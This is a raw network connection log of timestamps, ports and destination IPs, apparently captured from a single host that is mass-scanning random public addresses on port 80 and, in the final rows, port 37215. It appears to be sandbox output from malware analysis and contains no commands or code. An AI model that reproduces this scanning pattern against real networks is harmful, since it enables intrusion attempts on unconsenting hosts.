Oct 14, 2024 17:30:13.908231020 CEST	53274	80	192.168.2.14	73.0.141.18
Oct 14, 2024 17:30:13.908222914 CEST	53274	80	192.168.2.14	13.160.178.59
Oct 14, 2024 17:30:13.908232927 CEST	53274	80	192.168.2.14	81.61.137.46
Oct 14, 2024 17:30:13.908229113 CEST	53274	80	192.168.2.14	134.216.153.169
Oct 14, 2024 17:30:13.908232927 CEST	53274	80	192.168.2.14	191.235.116.230
Oct 14, 2024 17:30:13.908232927 CEST	53274	80	192.168.2.14	200.213.28.45
Oct 14, 2024 17:30:13.908242941 CEST	53274	80	192.168.2.14	77.152.228.235
Oct 14, 2024 17:30:13.908252954 CEST	53274	80	192.168.2.14	105.212.117.2
Oct 14, 2024 17:30:13.908252954 CEST	53274	80	192.168.2.14	218.41.41.102
Oct 14, 2024 17:30:13.908260107 CEST	53274	80	192.168.2.14	57.24.147.142
Oct 14, 2024 17:30:13.908260107 CEST	53274	80	192.168.2.14	162.83.141.129
Oct 14, 2024 17:30:13.908262968 CEST	53274	80	192.168.2.14	31.211.242.81
Oct 14, 2024 17:30:13.908265114 CEST	53274	80	192.168.2.14	104.131.189.203
Oct 14, 2024 17:30:13.908268929 CEST	53274	80	192.168.2.14	106.38.178.255
Oct 14, 2024 17:30:13.908272028 CEST	53274	80	192.168.2.14	155.59.72.219
Oct 14, 2024 17:30:13.908276081 CEST	53274	80	192.168.2.14	109.74.4.122
Oct 14, 2024 17:30:13.908282995 CEST	53274	80	192.168.2.14	183.8.78.106
Oct 14, 2024 17:30:13.908284903 CEST	53274	80	192.168.2.14	220.206.164.219
Oct 14, 2024 17:30:13.908299923 CEST	53274	80	192.168.2.14	174.19.84.203
Oct 14, 2024 17:30:13.908313036 CEST	53274	80	192.168.2.14	104.170.31.5
Oct 14, 2024 17:30:13.908315897 CEST	53274	80	192.168.2.14	186.234.103.123
Oct 14, 2024 17:30:13.908320904 CEST	53274	80	192.168.2.14	76.237.38.153
Oct 14, 2024 17:30:13.908320904 CEST	53274	80	192.168.2.14	201.83.174.43
Oct 14, 2024 17:30:13.908328056 CEST	53274	80	192.168.2.14	88.28.90.27
Oct 14, 2024 17:30:13.908329010 CEST	53274	80	192.168.2.14	117.38.47.147
Oct 14, 2024 17:30:13.908330917 CEST	53274	80	192.168.2.14	208.74.72.248
Oct 14, 2024 17:30:13.908334017 CEST	53274	80	192.168.2.14	81.109.48.58
Oct 14, 2024 17:30:13.908334017 CEST	53274	80	192.168.2.14	18.11.111.116
Oct 14, 2024 17:30:13.908335924 CEST	53274	80	192.168.2.14	172.193.33.206
Oct 14, 2024 17:30:13.908337116 CEST	53274	80	192.168.2.14	128.54.128.42
Oct 14, 2024 17:30:13.908344030 CEST	53274	80	192.168.2.14	74.182.80.151
Oct 14, 2024 17:30:13.908344984 CEST	53274	80	192.168.2.14	46.15.233.120
Oct 14, 2024 17:30:13.908361912 CEST	53274	80	192.168.2.14	95.143.7.84
Oct 14, 2024 17:30:13.908361912 CEST	53274	80	192.168.2.14	148.171.207.3
Oct 14, 2024 17:30:13.908365965 CEST	53274	80	192.168.2.14	48.235.34.241
Oct 14, 2024 17:30:13.908365965 CEST	53274	80	192.168.2.14	133.137.201.117
Oct 14, 2024 17:30:13.908377886 CEST	53274	80	192.168.2.14	50.57.212.181
Oct 14, 2024 17:30:13.908381939 CEST	53274	80	192.168.2.14	105.6.52.40
Oct 14, 2024 17:30:13.908385992 CEST	53274	80	192.168.2.14	87.16.76.89
Oct 14, 2024 17:30:13.908385992 CEST	53274	80	192.168.2.14	38.57.175.189
Oct 14, 2024 17:30:13.908392906 CEST	53274	80	192.168.2.14	194.211.180.153
Oct 14, 2024 17:30:13.908396959 CEST	53274	80	192.168.2.14	185.191.243.84
Oct 14, 2024 17:30:13.908396959 CEST	53274	80	192.168.2.14	84.58.214.166
Oct 14, 2024 17:30:13.908401012 CEST	53274	80	192.168.2.14	191.97.190.163
Oct 14, 2024 17:30:13.908405066 CEST	53274	80	192.168.2.14	142.32.187.70
Oct 14, 2024 17:30:13.908415079 CEST	53274	80	192.168.2.14	105.46.118.205
Oct 14, 2024 17:30:13.908421993 CEST	53274	80	192.168.2.14	93.18.1.244
Oct 14, 2024 17:30:13.908440113 CEST	53274	80	192.168.2.14	181.134.70.168
Oct 14, 2024 17:30:13.908442020 CEST	53274	80	192.168.2.14	4.218.229.94
Oct 14, 2024 17:30:13.908442020 CEST	53274	80	192.168.2.14	105.201.53.156
Oct 14, 2024 17:30:13.908442974 CEST	53274	80	192.168.2.14	57.13.188.113
Oct 14, 2024 17:30:13.908442974 CEST	53274	80	192.168.2.14	87.99.35.246
Oct 14, 2024 17:30:13.908442974 CEST	53274	80	192.168.2.14	4.82.214.2
Oct 14, 2024 17:30:13.908454895 CEST	53274	80	192.168.2.14	36.208.68.11
Oct 14, 2024 17:30:13.908459902 CEST	53274	80	192.168.2.14	20.209.72.198
Oct 14, 2024 17:30:13.908461094 CEST	53274	80	192.168.2.14	150.200.171.146
Oct 14, 2024 17:30:13.908462048 CEST	53274	80	192.168.2.14	96.121.154.35
Oct 14, 2024 17:30:13.908461094 CEST	53274	80	192.168.2.14	195.177.117.34
Oct 14, 2024 17:30:13.908476114 CEST	53274	80	192.168.2.14	122.21.28.159
Oct 14, 2024 17:30:13.908476114 CEST	53274	80	192.168.2.14	20.170.56.243
Oct 14, 2024 17:30:13.908476114 CEST	53274	80	192.168.2.14	161.200.170.178
Oct 14, 2024 17:30:13.908483982 CEST	53274	80	192.168.2.14	205.3.221.75
Oct 14, 2024 17:30:13.908492088 CEST	53274	80	192.168.2.14	31.191.210.142
Oct 14, 2024 17:30:13.908497095 CEST	53274	80	192.168.2.14	66.165.32.15
Oct 14, 2024 17:30:13.908504963 CEST	53274	80	192.168.2.14	104.238.178.169
Oct 14, 2024 17:30:13.908507109 CEST	53274	80	192.168.2.14	86.13.109.57
Oct 14, 2024 17:30:13.908507109 CEST	53274	80	192.168.2.14	51.90.74.144
Oct 14, 2024 17:30:13.908512115 CEST	53274	80	192.168.2.14	88.89.135.178
Oct 14, 2024 17:30:13.908513069 CEST	53274	80	192.168.2.14	67.67.175.85
Oct 14, 2024 17:30:13.908514977 CEST	53274	80	192.168.2.14	182.229.11.177
Oct 14, 2024 17:30:13.908520937 CEST	53274	80	192.168.2.14	18.244.137.159
Oct 14, 2024 17:30:13.908526897 CEST	53274	80	192.168.2.14	101.73.6.171
Oct 14, 2024 17:30:13.908526897 CEST	53274	80	192.168.2.14	176.251.125.91
Oct 14, 2024 17:30:13.908535957 CEST	53274	80	192.168.2.14	181.63.235.163
Oct 14, 2024 17:30:13.908541918 CEST	53274	80	192.168.2.14	122.59.170.54
Oct 14, 2024 17:30:13.908545017 CEST	53274	80	192.168.2.14	94.169.202.246
Oct 14, 2024 17:30:13.908545017 CEST	53274	80	192.168.2.14	132.44.243.80
Oct 14, 2024 17:30:13.908545971 CEST	53274	80	192.168.2.14	177.27.161.176
Oct 14, 2024 17:30:13.908545971 CEST	53274	80	192.168.2.14	201.249.215.25
Oct 14, 2024 17:30:13.908565998 CEST	53274	80	192.168.2.14	35.227.129.76
Oct 14, 2024 17:30:13.908565998 CEST	53274	80	192.168.2.14	45.249.148.87
Oct 14, 2024 17:30:13.908576965 CEST	53274	80	192.168.2.14	156.67.71.159
Oct 14, 2024 17:30:13.908581972 CEST	53274	80	192.168.2.14	129.221.160.50
Oct 14, 2024 17:30:13.908581972 CEST	53274	80	192.168.2.14	136.35.235.97
Oct 14, 2024 17:30:13.908585072 CEST	53274	80	192.168.2.14	138.49.125.238
Oct 14, 2024 17:30:13.908585072 CEST	53274	80	192.168.2.14	222.134.252.125
Oct 14, 2024 17:30:13.908607006 CEST	53274	80	192.168.2.14	83.228.34.19
Oct 14, 2024 17:30:13.908607006 CEST	53274	80	192.168.2.14	223.224.64.86
Oct 14, 2024 17:30:13.908607006 CEST	53274	80	192.168.2.14	69.224.229.104
Oct 14, 2024 17:30:13.908615112 CEST	53274	80	192.168.2.14	47.189.41.175
Oct 14, 2024 17:30:13.908615112 CEST	53274	80	192.168.2.14	86.133.120.160
Oct 14, 2024 17:30:13.908615112 CEST	53274	80	192.168.2.14	120.233.210.135
Oct 14, 2024 17:30:13.908615112 CEST	53274	80	192.168.2.14	163.219.13.192
Oct 14, 2024 17:30:13.908620119 CEST	53274	80	192.168.2.14	179.218.175.242
Oct 14, 2024 17:30:13.908624887 CEST	53274	80	192.168.2.14	148.231.28.233
Oct 14, 2024 17:30:13.908631086 CEST	53274	80	192.168.2.14	135.104.223.38
Oct 14, 2024 17:30:13.908631086 CEST	53274	80	192.168.2.14	187.158.39.27
Oct 14, 2024 17:30:13.908631086 CEST	53274	80	192.168.2.14	78.212.6.200
Oct 14, 2024 17:30:13.908637047 CEST	53274	80	192.168.2.14	130.201.193.35
Oct 14, 2024 17:30:13.908641100 CEST	53274	80	192.168.2.14	182.218.219.67
Oct 14, 2024 17:30:13.908643961 CEST	53274	80	192.168.2.14	17.211.112.62
Oct 14, 2024 17:30:13.908644915 CEST	53274	80	192.168.2.14	38.80.51.17
Oct 14, 2024 17:30:13.908653021 CEST	53274	80	192.168.2.14	221.204.207.4
Oct 14, 2024 17:30:13.908662081 CEST	53274	80	192.168.2.14	168.162.191.57
Oct 14, 2024 17:30:13.908662081 CEST	53274	80	192.168.2.14	153.177.147.65
Oct 14, 2024 17:30:13.908662081 CEST	53274	80	192.168.2.14	166.87.190.112
Oct 14, 2024 17:30:13.908664942 CEST	53274	80	192.168.2.14	117.229.112.162
Oct 14, 2024 17:30:13.908674002 CEST	53274	80	192.168.2.14	118.7.168.41
Oct 14, 2024 17:30:13.908674955 CEST	53274	80	192.168.2.14	117.191.128.63
Oct 14, 2024 17:30:13.908674955 CEST	53274	80	192.168.2.14	187.117.166.194
Oct 14, 2024 17:30:13.908674955 CEST	53274	80	192.168.2.14	213.187.89.106
Oct 14, 2024 17:30:13.908675909 CEST	53274	80	192.168.2.14	91.95.174.7
Oct 14, 2024 17:30:13.908684969 CEST	53274	80	192.168.2.14	183.229.148.78
Oct 14, 2024 17:30:13.908695936 CEST	53274	80	192.168.2.14	83.22.79.53
Oct 14, 2024 17:30:13.908701897 CEST	53274	80	192.168.2.14	211.102.209.239
Oct 14, 2024 17:30:13.908715010 CEST	53274	80	192.168.2.14	70.177.102.76
Oct 14, 2024 17:30:13.908715010 CEST	53274	80	192.168.2.14	89.135.152.236
Oct 14, 2024 17:30:13.908720970 CEST	53274	80	192.168.2.14	27.245.121.34
Oct 14, 2024 17:30:13.908723116 CEST	53274	80	192.168.2.14	108.38.84.66
Oct 14, 2024 17:30:13.908729076 CEST	53274	80	192.168.2.14	57.14.254.72
Oct 14, 2024 17:30:13.908730030 CEST	53274	80	192.168.2.14	114.29.9.55
Oct 14, 2024 17:30:13.908739090 CEST	53274	80	192.168.2.14	114.11.56.38
Oct 14, 2024 17:30:13.908749104 CEST	53274	80	192.168.2.14	38.151.11.98
Oct 14, 2024 17:30:13.908756018 CEST	53274	80	192.168.2.14	171.243.60.18
Oct 14, 2024 17:30:13.908756971 CEST	53274	80	192.168.2.14	138.166.163.228
Oct 14, 2024 17:30:13.908756971 CEST	53274	80	192.168.2.14	146.246.71.230
Oct 14, 2024 17:30:13.908761024 CEST	53274	80	192.168.2.14	77.182.201.15
Oct 14, 2024 17:30:13.908772945 CEST	53274	80	192.168.2.14	17.181.217.66
Oct 14, 2024 17:30:13.908772945 CEST	53274	80	192.168.2.14	72.32.52.23
Oct 14, 2024 17:30:13.908772945 CEST	53274	80	192.168.2.14	104.194.214.151
Oct 14, 2024 17:30:13.908778906 CEST	53274	80	192.168.2.14	52.105.123.73
Oct 14, 2024 17:30:13.908778906 CEST	53274	80	192.168.2.14	53.205.22.205
Oct 14, 2024 17:30:13.908787966 CEST	53274	80	192.168.2.14	70.108.231.145
Oct 14, 2024 17:30:13.908787966 CEST	53274	80	192.168.2.14	136.113.253.202
Oct 14, 2024 17:30:13.908799887 CEST	53274	80	192.168.2.14	107.200.61.108
Oct 14, 2024 17:30:13.908802986 CEST	53274	80	192.168.2.14	116.57.2.178
Oct 14, 2024 17:30:13.908809900 CEST	53274	80	192.168.2.14	142.153.35.40
Oct 14, 2024 17:30:13.908823013 CEST	53274	80	192.168.2.14	77.143.74.194
Oct 14, 2024 17:30:13.908823013 CEST	53274	80	192.168.2.14	154.216.167.48
Oct 14, 2024 17:30:13.908823967 CEST	53274	80	192.168.2.14	199.12.197.51
Oct 14, 2024 17:30:13.908827066 CEST	53274	80	192.168.2.14	136.173.55.223
Oct 14, 2024 17:30:13.908828020 CEST	53274	80	192.168.2.14	137.23.149.120
Oct 14, 2024 17:30:13.908830881 CEST	53274	80	192.168.2.14	76.141.23.136
Oct 14, 2024 17:30:13.908843040 CEST	53274	80	192.168.2.14	4.149.193.94
Oct 14, 2024 17:30:13.908848047 CEST	53274	80	192.168.2.14	129.162.142.61
Oct 14, 2024 17:30:13.908852100 CEST	53274	80	192.168.2.14	48.28.80.69
Oct 14, 2024 17:30:13.908854008 CEST	53274	80	192.168.2.14	191.149.92.94
Oct 14, 2024 17:30:13.908854008 CEST	53274	80	192.168.2.14	185.86.134.179
Oct 14, 2024 17:30:13.908854008 CEST	53274	80	192.168.2.14	140.213.97.210
Oct 14, 2024 17:30:13.908862114 CEST	53274	80	192.168.2.14	80.237.98.8
Oct 14, 2024 17:30:13.908862114 CEST	53274	80	192.168.2.14	163.64.206.160
Oct 14, 2024 17:30:13.908865929 CEST	53274	80	192.168.2.14	96.11.15.6
Oct 14, 2024 17:30:13.908884048 CEST	53274	80	192.168.2.14	61.12.191.195
Oct 14, 2024 17:30:13.908884048 CEST	53274	80	192.168.2.14	169.125.220.183
Oct 14, 2024 17:30:13.908888102 CEST	53274	80	192.168.2.14	128.71.136.180
Oct 14, 2024 17:30:13.908888102 CEST	53274	80	192.168.2.14	12.171.171.152
Oct 14, 2024 17:30:13.908889055 CEST	53274	80	192.168.2.14	12.52.154.60
Oct 14, 2024 17:30:13.908890963 CEST	53274	80	192.168.2.14	88.56.1.225
Oct 14, 2024 17:30:13.908891916 CEST	53274	80	192.168.2.14	47.17.72.34
Oct 14, 2024 17:30:13.908902884 CEST	53274	80	192.168.2.14	207.19.92.57
Oct 14, 2024 17:30:13.908906937 CEST	53274	80	192.168.2.14	107.111.101.65
Oct 14, 2024 17:30:13.908911943 CEST	53274	80	192.168.2.14	46.243.74.158
Oct 14, 2024 17:30:13.908911943 CEST	53274	80	192.168.2.14	9.40.109.160
Oct 14, 2024 17:30:13.908914089 CEST	53274	80	192.168.2.14	169.181.216.90
Oct 14, 2024 17:30:13.908927917 CEST	53274	80	192.168.2.14	45.247.50.109
Oct 14, 2024 17:30:13.908930063 CEST	53274	80	192.168.2.14	131.210.50.61
Oct 14, 2024 17:30:13.908932924 CEST	53274	80	192.168.2.14	17.215.100.197
Oct 14, 2024 17:30:13.908938885 CEST	53274	80	192.168.2.14	205.5.109.92
Oct 14, 2024 17:30:13.908943892 CEST	53274	80	192.168.2.14	58.111.244.46
Oct 14, 2024 17:30:13.908957005 CEST	53274	80	192.168.2.14	82.42.71.156
Oct 14, 2024 17:30:13.908957958 CEST	53274	80	192.168.2.14	60.1.194.131
Oct 14, 2024 17:30:13.908957958 CEST	53274	80	192.168.2.14	86.38.42.237
Oct 14, 2024 17:30:13.908963919 CEST	53274	80	192.168.2.14	4.207.171.17
Oct 14, 2024 17:30:13.908967972 CEST	53274	80	192.168.2.14	64.61.227.243
Oct 14, 2024 17:30:13.908972979 CEST	53274	80	192.168.2.14	4.206.203.8
Oct 14, 2024 17:30:13.908982038 CEST	53274	80	192.168.2.14	120.152.59.159
Oct 14, 2024 17:30:13.908988953 CEST	53274	80	192.168.2.14	162.28.175.189
Oct 14, 2024 17:30:13.908989906 CEST	53274	80	192.168.2.14	172.89.110.223
Oct 14, 2024 17:30:13.908993959 CEST	53274	80	192.168.2.14	219.101.23.62
Oct 14, 2024 17:30:13.908994913 CEST	53274	80	192.168.2.14	70.2.129.61
Oct 14, 2024 17:30:13.908996105 CEST	53274	80	192.168.2.14	19.8.135.167
Oct 14, 2024 17:30:13.909002066 CEST	53274	80	192.168.2.14	45.148.74.201
Oct 14, 2024 17:30:13.909003973 CEST	53274	80	192.168.2.14	34.248.34.86
Oct 14, 2024 17:30:13.909003973 CEST	53274	80	192.168.2.14	59.75.165.148
Oct 14, 2024 17:30:13.909023046 CEST	53274	80	192.168.2.14	78.254.176.29
Oct 14, 2024 17:30:13.909025908 CEST	53274	80	192.168.2.14	45.177.133.66
Oct 14, 2024 17:30:13.909027100 CEST	53274	80	192.168.2.14	92.160.224.111
Oct 14, 2024 17:30:13.909032106 CEST	53274	80	192.168.2.14	221.210.198.239
Oct 14, 2024 17:30:13.909045935 CEST	53274	80	192.168.2.14	97.196.161.146
Oct 14, 2024 17:30:13.909046888 CEST	53274	80	192.168.2.14	197.70.71.69
Oct 14, 2024 17:30:13.909049988 CEST	53274	80	192.168.2.14	221.111.238.191
Oct 14, 2024 17:30:13.909050941 CEST	53274	80	192.168.2.14	101.80.250.179
Oct 14, 2024 17:30:13.909049988 CEST	53274	80	192.168.2.14	174.73.70.241
Oct 14, 2024 17:30:13.909063101 CEST	53274	80	192.168.2.14	17.222.123.254
Oct 14, 2024 17:30:13.909063101 CEST	53274	80	192.168.2.14	77.190.72.247
Oct 14, 2024 17:30:13.909079075 CEST	53274	80	192.168.2.14	19.24.104.209
Oct 14, 2024 17:30:13.909084082 CEST	53274	80	192.168.2.14	116.239.255.32
Oct 14, 2024 17:30:13.909087896 CEST	53274	80	192.168.2.14	101.0.53.184
Oct 14, 2024 17:30:13.909087896 CEST	53274	80	192.168.2.14	46.223.14.29
Oct 14, 2024 17:30:13.909087896 CEST	53274	80	192.168.2.14	77.250.59.61
Oct 14, 2024 17:30:13.909101009 CEST	53274	80	192.168.2.14	44.108.250.60
Oct 14, 2024 17:30:13.909104109 CEST	53274	80	192.168.2.14	202.15.115.100
Oct 14, 2024 17:30:13.909105062 CEST	53274	80	192.168.2.14	67.54.245.237
Oct 14, 2024 17:30:13.909106016 CEST	53274	80	192.168.2.14	27.134.31.84
Oct 14, 2024 17:30:13.909116983 CEST	53274	80	192.168.2.14	112.136.130.70
Oct 14, 2024 17:30:13.909116983 CEST	53274	80	192.168.2.14	140.95.155.31
Oct 14, 2024 17:30:13.909116983 CEST	53274	80	192.168.2.14	196.142.32.105
Oct 14, 2024 17:30:13.909117937 CEST	53274	80	192.168.2.14	34.207.8.200
Oct 14, 2024 17:30:13.909126043 CEST	53274	80	192.168.2.14	146.128.170.36
Oct 14, 2024 17:30:13.909127951 CEST	53274	80	192.168.2.14	171.36.242.192
Oct 14, 2024 17:30:13.909142971 CEST	53274	80	192.168.2.14	9.54.160.17
Oct 14, 2024 17:30:13.909143925 CEST	53274	80	192.168.2.14	186.248.202.70
Oct 14, 2024 17:30:13.909145117 CEST	53274	80	192.168.2.14	24.141.78.71
Oct 14, 2024 17:30:13.909149885 CEST	53274	80	192.168.2.14	87.199.36.13
Oct 14, 2024 17:30:13.909152985 CEST	53274	80	192.168.2.14	58.67.51.253
Oct 14, 2024 17:30:13.909162045 CEST	53274	80	192.168.2.14	165.62.49.137
Oct 14, 2024 17:30:13.909164906 CEST	53274	80	192.168.2.14	221.114.137.175
Oct 14, 2024 17:30:13.909167051 CEST	53274	80	192.168.2.14	57.190.147.208
Oct 14, 2024 17:30:13.909171104 CEST	53274	80	192.168.2.14	25.233.70.172
Oct 14, 2024 17:30:13.909174919 CEST	53274	80	192.168.2.14	108.157.131.172
Oct 14, 2024 17:30:13.909187078 CEST	53274	80	192.168.2.14	148.168.158.48
Oct 14, 2024 17:30:13.909188986 CEST	53274	80	192.168.2.14	93.132.236.2
Oct 14, 2024 17:30:13.909189939 CEST	53274	80	192.168.2.14	172.79.169.52
Oct 14, 2024 17:30:13.909249067 CEST	55534	80	192.168.2.14	32.112.182.187
Oct 14, 2024 17:30:13.909252882 CEST	53274	80	192.168.2.14	109.190.28.227
Oct 14, 2024 17:30:13.909281015 CEST	46206	80	192.168.2.14	99.221.191.117
Oct 14, 2024 17:30:13.909296989 CEST	36762	80	192.168.2.14	180.247.236.221
Oct 14, 2024 17:30:13.909296989 CEST	35102	80	192.168.2.14	1.180.11.169
Oct 14, 2024 17:30:13.909343004 CEST	46484	80	192.168.2.14	73.68.77.91
Oct 14, 2024 17:30:13.909354925 CEST	40646	80	192.168.2.14	27.116.106.43
Oct 14, 2024 17:30:13.909354925 CEST	52450	80	192.168.2.14	116.219.149.39
Oct 14, 2024 17:30:13.909368992 CEST	40730	80	192.168.2.14	138.223.185.200
Oct 14, 2024 17:30:13.909375906 CEST	37424	80	192.168.2.14	50.13.188.185
Oct 14, 2024 17:30:13.909387112 CEST	44030	80	192.168.2.14	145.191.228.220
Oct 14, 2024 17:30:13.909387112 CEST	54890	80	192.168.2.14	66.78.157.143
Oct 14, 2024 17:30:13.909399986 CEST	57362	80	192.168.2.14	132.22.216.91
Oct 14, 2024 17:30:13.909415007 CEST	52072	80	192.168.2.14	126.142.29.166
Oct 14, 2024 17:30:13.909429073 CEST	59176	80	192.168.2.14	177.155.252.229
Oct 14, 2024 17:30:13.909449100 CEST	51658	80	192.168.2.14	46.248.77.186
Oct 14, 2024 17:30:13.909459114 CEST	56126	80	192.168.2.14	132.22.42.189
Oct 14, 2024 17:30:13.909471035 CEST	45502	80	192.168.2.14	131.83.57.127
Oct 14, 2024 17:30:13.909480095 CEST	41802	80	192.168.2.14	42.187.72.39
Oct 14, 2024 17:30:13.909498930 CEST	36500	80	192.168.2.14	211.4.233.175
Oct 14, 2024 17:30:13.909501076 CEST	52866	80	192.168.2.14	167.247.107.8
Oct 14, 2024 17:30:13.909518003 CEST	52202	80	192.168.2.14	122.121.147.195
Oct 14, 2024 17:30:13.909532070 CEST	32948	80	192.168.2.14	75.21.254.222
Oct 14, 2024 17:30:13.909554005 CEST	44428	80	192.168.2.14	99.66.2.103
Oct 14, 2024 17:30:13.909559965 CEST	42292	80	192.168.2.14	35.49.19.57
Oct 14, 2024 17:30:13.909569979 CEST	32866	80	192.168.2.14	98.180.146.102
Oct 14, 2024 17:30:13.909583092 CEST	56564	80	192.168.2.14	52.157.112.181
Oct 14, 2024 17:30:13.909595966 CEST	40210	80	192.168.2.14	134.141.2.173
Oct 14, 2024 17:30:13.909606934 CEST	56084	80	192.168.2.14	113.111.122.241
Oct 14, 2024 17:30:13.909617901 CEST	41112	80	192.168.2.14	205.33.20.156
Oct 14, 2024 17:30:13.909630060 CEST	45274	80	192.168.2.14	109.16.205.91
Oct 14, 2024 17:30:13.909630060 CEST	48572	80	192.168.2.14	183.137.177.188
Oct 14, 2024 17:30:13.909641981 CEST	38448	80	192.168.2.14	5.212.157.201
Oct 14, 2024 17:30:13.909658909 CEST	39394	80	192.168.2.14	143.75.33.142
Oct 14, 2024 17:30:13.909662008 CEST	35110	80	192.168.2.14	49.77.177.136
Oct 14, 2024 17:30:13.909677029 CEST	52760	80	192.168.2.14	209.211.24.151
Oct 14, 2024 17:30:13.909687042 CEST	35976	80	192.168.2.14	24.149.125.4
Oct 14, 2024 17:30:13.909706116 CEST	35022	80	192.168.2.14	177.154.31.23
Oct 14, 2024 17:30:13.909706116 CEST	52442	80	192.168.2.14	39.211.242.205
Oct 14, 2024 17:30:13.909717083 CEST	51814	80	192.168.2.14	71.28.144.14
Oct 14, 2024 17:30:13.909732103 CEST	36228	80	192.168.2.14	166.134.112.27
Oct 14, 2024 17:30:13.909749031 CEST	45238	80	192.168.2.14	150.79.56.85
Oct 14, 2024 17:30:13.909755945 CEST	35052	80	192.168.2.14	111.27.28.114
Oct 14, 2024 17:30:13.909765959 CEST	48962	80	192.168.2.14	97.55.108.151
Oct 14, 2024 17:30:13.909771919 CEST	44316	80	192.168.2.14	152.51.178.59
Oct 14, 2024 17:30:13.909822941 CEST	40690	80	192.168.2.14	187.123.216.241
Oct 14, 2024 17:30:13.909822941 CEST	37410	80	192.168.2.14	154.79.79.161
Oct 14, 2024 17:30:13.909838915 CEST	39968	80	192.168.2.14	154.230.225.91
Oct 14, 2024 17:30:13.909838915 CEST	55962	80	192.168.2.14	142.12.239.141
Oct 14, 2024 17:30:13.909846067 CEST	54174	80	192.168.2.14	92.126.227.190
Oct 14, 2024 17:30:13.909852982 CEST	42564	80	192.168.2.14	210.102.156.19
Oct 14, 2024 17:30:13.909861088 CEST	44604	80	192.168.2.14	132.192.237.0
Oct 14, 2024 17:30:13.909883022 CEST	53938	80	192.168.2.14	57.211.166.3
Oct 14, 2024 17:30:13.909888983 CEST	59438	80	192.168.2.14	61.162.51.66
Oct 14, 2024 17:30:13.909892082 CEST	54326	80	192.168.2.14	129.241.36.235
Oct 14, 2024 17:30:13.909904003 CEST	44146	80	192.168.2.14	167.84.136.223
Oct 14, 2024 17:30:13.909929037 CEST	32958	80	192.168.2.14	27.111.3.201
Oct 14, 2024 17:30:13.909950018 CEST	56446	80	192.168.2.14	128.56.93.162
Oct 14, 2024 17:30:13.909950018 CEST	51784	80	192.168.2.14	57.113.61.137
Oct 14, 2024 17:30:13.909971952 CEST	40804	80	192.168.2.14	132.112.73.10
Oct 14, 2024 17:30:13.909974098 CEST	45514	80	192.168.2.14	138.13.111.152
Oct 14, 2024 17:30:13.909991980 CEST	45818	80	192.168.2.14	201.98.170.129
Oct 14, 2024 17:30:13.909995079 CEST	37712	80	192.168.2.14	129.165.235.4
Oct 14, 2024 17:30:13.910008907 CEST	52266	80	192.168.2.14	67.211.250.137
Oct 14, 2024 17:30:13.910017967 CEST	38724	80	192.168.2.14	143.42.244.86
Oct 14, 2024 17:30:13.910024881 CEST	45528	80	192.168.2.14	125.124.107.124
Oct 14, 2024 17:30:13.910039902 CEST	52046	80	192.168.2.14	43.144.26.150
Oct 14, 2024 17:30:13.910058975 CEST	48736	80	192.168.2.14	50.106.16.4
Oct 14, 2024 17:30:13.910068989 CEST	42734	80	192.168.2.14	165.100.128.52
Oct 14, 2024 17:30:13.910068989 CEST	45210	80	192.168.2.14	203.184.30.201
Oct 14, 2024 17:30:13.910073042 CEST	46678	80	192.168.2.14	68.172.194.231
Oct 14, 2024 17:30:13.910087109 CEST	43954	80	192.168.2.14	129.216.209.83
Oct 14, 2024 17:30:13.910108089 CEST	53980	80	192.168.2.14	36.223.109.139
Oct 14, 2024 17:30:13.910108089 CEST	39384	80	192.168.2.14	164.184.14.78
Oct 14, 2024 17:30:13.910130978 CEST	51160	80	192.168.2.14	74.95.117.83
Oct 14, 2024 17:30:13.910155058 CEST	32904	80	192.168.2.14	59.136.227.64
Oct 14, 2024 17:30:13.910166979 CEST	60796	80	192.168.2.14	4.56.203.217
Oct 14, 2024 17:30:13.910181046 CEST	40508	80	192.168.2.14	121.205.167.169
Oct 14, 2024 17:30:13.910185099 CEST	35176	80	192.168.2.14	148.143.81.14
Oct 14, 2024 17:30:13.910187960 CEST	44300	80	192.168.2.14	75.73.120.61
Oct 14, 2024 17:30:13.910197973 CEST	52890	80	192.168.2.14	186.201.170.93
Oct 14, 2024 17:30:13.910204887 CEST	55652	80	192.168.2.14	74.179.36.31
Oct 14, 2024 17:30:13.910208941 CEST	41318	80	192.168.2.14	154.156.35.197
Oct 14, 2024 17:30:13.910222054 CEST	39732	80	192.168.2.14	142.127.221.53
Oct 14, 2024 17:30:13.910238981 CEST	56770	80	192.168.2.14	20.43.31.24
Oct 14, 2024 17:30:13.910255909 CEST	54914	80	192.168.2.14	167.47.29.169
Oct 14, 2024 17:30:13.910274982 CEST	33110	80	192.168.2.14	199.242.193.221
Oct 14, 2024 17:30:13.910279989 CEST	37892	80	192.168.2.14	82.20.107.230
Oct 14, 2024 17:30:13.910279989 CEST	37848	80	192.168.2.14	52.189.198.209
Oct 14, 2024 17:30:13.910300016 CEST	51528	80	192.168.2.14	150.10.119.33
Oct 14, 2024 17:30:13.910314083 CEST	60062	80	192.168.2.14	190.105.158.118
Oct 14, 2024 17:30:13.910340071 CEST	50166	80	192.168.2.14	212.46.85.64
Oct 14, 2024 17:30:13.910342932 CEST	44020	80	192.168.2.14	167.194.0.152
Oct 14, 2024 17:30:13.910347939 CEST	59022	80	192.168.2.14	112.131.34.37
Oct 14, 2024 17:30:13.910356998 CEST	50698	80	192.168.2.14	121.134.229.148
Oct 14, 2024 17:30:13.910372019 CEST	40236	80	192.168.2.14	42.172.82.246
Oct 14, 2024 17:30:13.910377979 CEST	48750	80	192.168.2.14	159.200.6.252
Oct 14, 2024 17:30:13.910391092 CEST	35996	80	192.168.2.14	4.158.178.48
Oct 14, 2024 17:30:13.923391104 CEST	53786	37215	192.168.2.14	156.253.79.115
Oct 14, 2024 17:30:13.923391104 CEST	53786	37215	192.168.2.14	41.183.141.219
Oct 14, 2024 17:30:13.923391104 CEST	53786	37215	192.168.2.14	41.74.253.26
Oct 14, 2024 17:30:13.923399925 CEST	53786	37215	192.168.2.14	41.220.26.210
Oct 14, 2024 17:30:13.923418045 CEST	53786	37215	192.168.2.14	156.192.160.163
Oct 14, 2024 17:30:13.923422098 CEST	53786	37215	192.168.2.14	41.12.19.93
Oct 14, 2024 17:30:13.923424959 CEST	53786	37215	192.168.2.14	197.28.118.111
Oct 14, 2024 17:30:13.923449993 CEST	53786	37215	192.168.2.14	156.127.228.50
Oct 14, 2024 17:30:13.923453093 CEST	53786	37215	192.168.2.14	156.241.247.148
Oct 14, 2024 17:30:13.923455000 CEST	53786	37215	192.168.2.14	197.179.8.185
Oct 14, 2024 17:30:13.923464060 CEST	53786	37215	192.168.2.14	156.220.118.237
Oct 14, 2024 17:30:13.923464060 CEST	53786	37215	192.168.2.14	41.175.94.75
